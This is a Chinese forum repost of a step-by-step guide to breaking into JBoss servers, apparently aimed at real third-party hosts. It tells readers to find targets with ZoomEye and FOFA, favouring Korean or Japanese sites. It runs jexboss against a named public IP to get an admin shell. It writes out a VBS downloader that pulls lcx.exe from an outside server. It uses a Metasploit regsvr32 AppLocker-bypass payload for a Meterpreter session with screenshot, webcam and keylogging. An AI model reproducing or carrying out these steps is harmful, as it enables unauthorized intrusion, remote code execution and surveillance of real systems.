搜索

[21155] 2020-07-23_jboss漏洞利用

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2020-07-23_jboss漏洞利用 j b o s s 漏 洞 利 用 L e m o n S e c   2 0 2 0 - 0 7 - 2 3 J B O S S J B o s s 应 用 服 务 器 （ J B o s s   A S ） 是 一 个 被 广 泛 使 用 的 开 源 J a v a 应 用 服 务 器 。 它 是 J B o s s 企 业 中 间 件 （ J E M S ） 的 一 部 分 ， 并 且 经 常 在 大 型 企 业 中 使 用 。 因 为 这 个 软 件 是 高 度 模 块 化 和 松 耦 合 的 ， 导 致 了 它 很 很 复 杂 ， 同 时 也 使 它 易 成 为 攻 击 者 的 目 标 。 使 用 工 具 m s f ， j e x b o s s ， z o o m e y e ， f o f a 下 载 j e x b o s s 在 g i t h u b 中 搜 索 j e x b o s s 下 载 漏 洞 利 用 代 码 还 可 以 在 k a l i 中 直 接 下 载 搜 索 目 标 机 利 用 z o o m e y e 搜 索 符 合 要 求 的 i p 还 可 以 通 过 f o f a 搜 索 注 意 最 好 是 用 8 0 8 0 端 口 ， 国 家 是 韩 国 或 者 日 本 ， 你 懂 的   找 这 个 有 用 的 网 站 ， 有 一 个 小 技 巧 ， 访 问 了 很 多 网 站 ， 发 现 出 现 这 个 页 面 时 ， 很 可 能 出 现 漏 洞 。 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / j o a o m a t o s f / j e x b o s s . g i t   # 获 取 j e x b o s s 工 具
利 用 j e x b o s s 进 行 攻 击 刚 刚 下 载 了 j e x b o s s 是 一 个 文 件 夹 ， 在 命 令 行 中 进 入 到 文 件 中 通 过 阅 读 r e a d m e 文 件 ， 查 看 使 用 方 法 ， 先 安 装 模 板 执 行 j e x b o s s . p y 文 件 ， 拿 到 s h e l l 中 间 有 一 个 输 入 y e s 的 操 作 ， 拿 到 的 s h e l l 还 是 管 理 员 权 限   使 用 命 令 i p c o n f i g ， 发 现 是 内 网 i p ， 不 能 远 程 连 接 3 3 8 9 p i p   i n s t a l l   - r   r e q u i r e s . t x t p y t h o n   j e x b o s s . p y   - h o s t   h t t p : / / 1 8 8 . 1 2 5 . 9 9 . 5 8 : 8 0 8 0 /
想 通 过 端 口 转 发 的 方 式 ， 将 内 网 3 3 8 9 端 口 转 发 到 公 网 i p 的 端 口 上 ， 于 是 上 传 端 口 转 发 的 工 具 l c x . e x e 这 里 有 一 种 方 法 ， 下 载 文 件 ， 通 过 执 行 v b s 文 件 下 载 ， 其 实 通 过 f t p 下 载 更 为 简 单 逐 条 写 入 以 下 代 码 先 在 公 网 上 放 了 l c x 文 件 ， 由 于 e x e 文 件 不 能 下 载 ， 所 以 将 其 改 为 t x t 文 件 ， 最 后 一 条 的 路 径 为 目 标 机 的 绝 对 路 径 。 写 好 之 后 ， 查 看 以 下 是 否 写 入 成 功 然 后 执 行 v b s 文 件 下 载 好 了 ， 将 t x t 后 缀 改 为 e x e 但 是 我 执 行 l c x . e x e 失 败 了 ， 没 有 回 显 信 息 ， 于 是 有 了 另 一 种 强 大 的 方 法 利 用 利 用 v p s 的 的 m s f 监 控 目 标 机 监 控 目 标 机 做 这 一 个 步 骤 ， 需 要 你 有 一 个 v p s 和 公 网 i p ， v p s 中 安 装 了 m s f m s f 中 有 一 个 模 块 w e b _ d e l i v e r y ， 针 对 w i n d o w s 7 及 以 上 的 系 统 ， 通 杀 ， 超 级 强 大 e c h o   S e t   x P o s t   =   C r e a t e O b j e c t ( " M i c r o s o f t . X M L H T T P " )   > >   d c . v b s       e c h o   x P o s t . O p e n   " G E T " , " h t t p : / / 4 5 . 3 2 . 6 2 . 1 8 6 / l c x . t x t " , 0   > >   d c . v b s   e c h o   x P o s t . S e n d ( )   > >   d c . v b s   e c h o   S e t   s G e t   =   C r e a t e O b j e c t ( " A D O D B . S t r e a m " )   > >   d c . v b s       e c h o   s G e t . M o d e   =   3   > >   d c . v b s   e c h o   s G e t . T y p e   =   1   > >   d c . v b s       e c h o   s G e t . O p e n ( )   > >   d c . v b s       e c h o   s G e t . W r i t e ( x P o s t . r e s p o n s e B o d y )   > >   d c . v b s     e c h o   s G e t . S a v e T o F i l e   " C : / P A C S / d c m 4 c h e e - m y s q l - 2 . 1 4 . 5 / b i n / l c x . t x t " , 2   > >   d c . v b s t y p e   d c . v b s d c . v b s r e n   l c x . t x t   l c x . e x e m s f c o n s o l e     # 打 开 m s f 的 命 令 行 界 面 s e a r c h   w e b _ d e l i v e r y   # 搜 索 这 个 模 块 u s e   e x p l o i t / w i n d o w s / m i s c / r e g s v r 3 2 _ a p p l o c k e r _ b y p a s s _ s e r v e r   # 使 用 这 个 模 块 s h o w   o p t i o n s   # 查 看 所 需 参 数 s e t   L H O S T   1 9 2 . 1 6 8 . 1 . 1 9 0   # 设 置 本 机 i p e x p l o i t   # 开 始 攻 击
成 功 之 后 会 返 回 一 条 命 令 将 这 条 命 令 ， 在 目 标 机 的 s h e l l 中 运 行 v p s 就 会 监 听 到 目 标 机 ， 看 到 新 建 了 回 话 ， c t r l + c 输 入 命 令 拿 到 m s f 的 最 高 权 限 m e t e r p r e t e r ， 可 以 输 入 h e l p 查 看 帮 助 文 档 ， 也 可 以 输 入 s h e l l ， 执 行 目 标 机 的 系 统 命 令 。 m e t e r p r e t e r 可 以 截 屏 ， 可 以 开 启 摄 像 头 ， 可 以 记 录 键 盘 ， 很 多 强 大 的 功 能 ， 在 h e l p 中 都 能 看 到   截 图 命 令 ： s c r e e n s h o t r e g s v r 3 2   / s   / n   / u   / i : h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 9 0 : 8 0 8 0 / T C S B 0 H E . s c t   s c r o b j . d l l s e s s i o n s   - i   1 转 载 自 ： h t t p s : / / b l o g . c s d n . n e t / m i r r o r 9 7 b l a c k / a r t i c l e / d e t a i l s / 7 9 1 4 8 3 5 6 ? u t m _ m e d i u m = d i s t r i b u t e . p c _ r e l e v a n t . n o n e - t a s k - b l o g - B l o g C o m m e n d F r o m M a c h i n e L e a r n P a i 2 - 7 . c h a n n e l _ p a r a m & d e p t h _ 1 - u t m _ s o u r c e = d i s t r i b u t e . p c _ r e l e v a n t . n o n e - t a s k - b l o g - B l o g C o m m e n d F r o m M a c h i n e L e a r n P a i 2 - 7 . c h a n n e l _ p a r a m
没 有 专 业 运 营 团 队 ， 纯 个 人 凭 着 空 闲 时 间 的 学 习 ， 通 过 网 络 搜 集 与 学 习 整 理 的 资 料 记 录 并 分 享 。   如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ”
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理